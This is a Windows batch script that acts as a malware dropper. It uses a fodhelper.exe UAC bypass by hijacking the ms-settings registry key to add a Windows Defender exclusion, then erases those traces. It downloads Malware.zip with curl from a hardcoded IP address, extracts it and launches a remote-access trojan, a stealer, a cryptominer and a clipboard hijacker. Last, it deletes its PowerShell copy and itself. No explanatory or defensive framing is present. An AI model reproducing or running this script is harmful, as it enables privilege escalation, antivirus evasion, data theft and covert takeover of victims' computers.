@echo off
copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "%temp%\X.exe"
reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /v "" /d "%temp%\X.exe -WindowStyle Hidden -Command & {Add-MpPreference -ExclusionPath '%UserProfile%\AppData\Local\ServiceHub'}" /f
reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
fodhelper.exe
timeout "3"
echo yes | reg delete "HKCU\Software\Classes\.thm\Shell\Open\command" /f
echo yes | reg delete "HKCU\Software\Classes\ms-settings\CurVer" /f
timeout "60"
curl "45.66.230.113/Malware.zip" -O "%UserProfile%\AppData\Local\ServiceHub\Malware.zip"
tar -xf "%UserProfile%\AppData\Local\ServiceHub\Malware.zip"
del "%UserProfile%\AppData\Local\ServiceHub\Malware.zip"
start "" "%UserProfile%\AppData\Local\ServiceHub\Rat.exe"
start "" "%UserProfile%\AppData\Local\ServiceHub\Stealer.exe"
start "" "%UserProfile%\AppData\Local\ServiceHub\Miner.exe"
start "" "%UserProfile%\AppData\Local\ServiceHub\Clipper.exe"
del "%temp%\X.exe"
del "%~f0"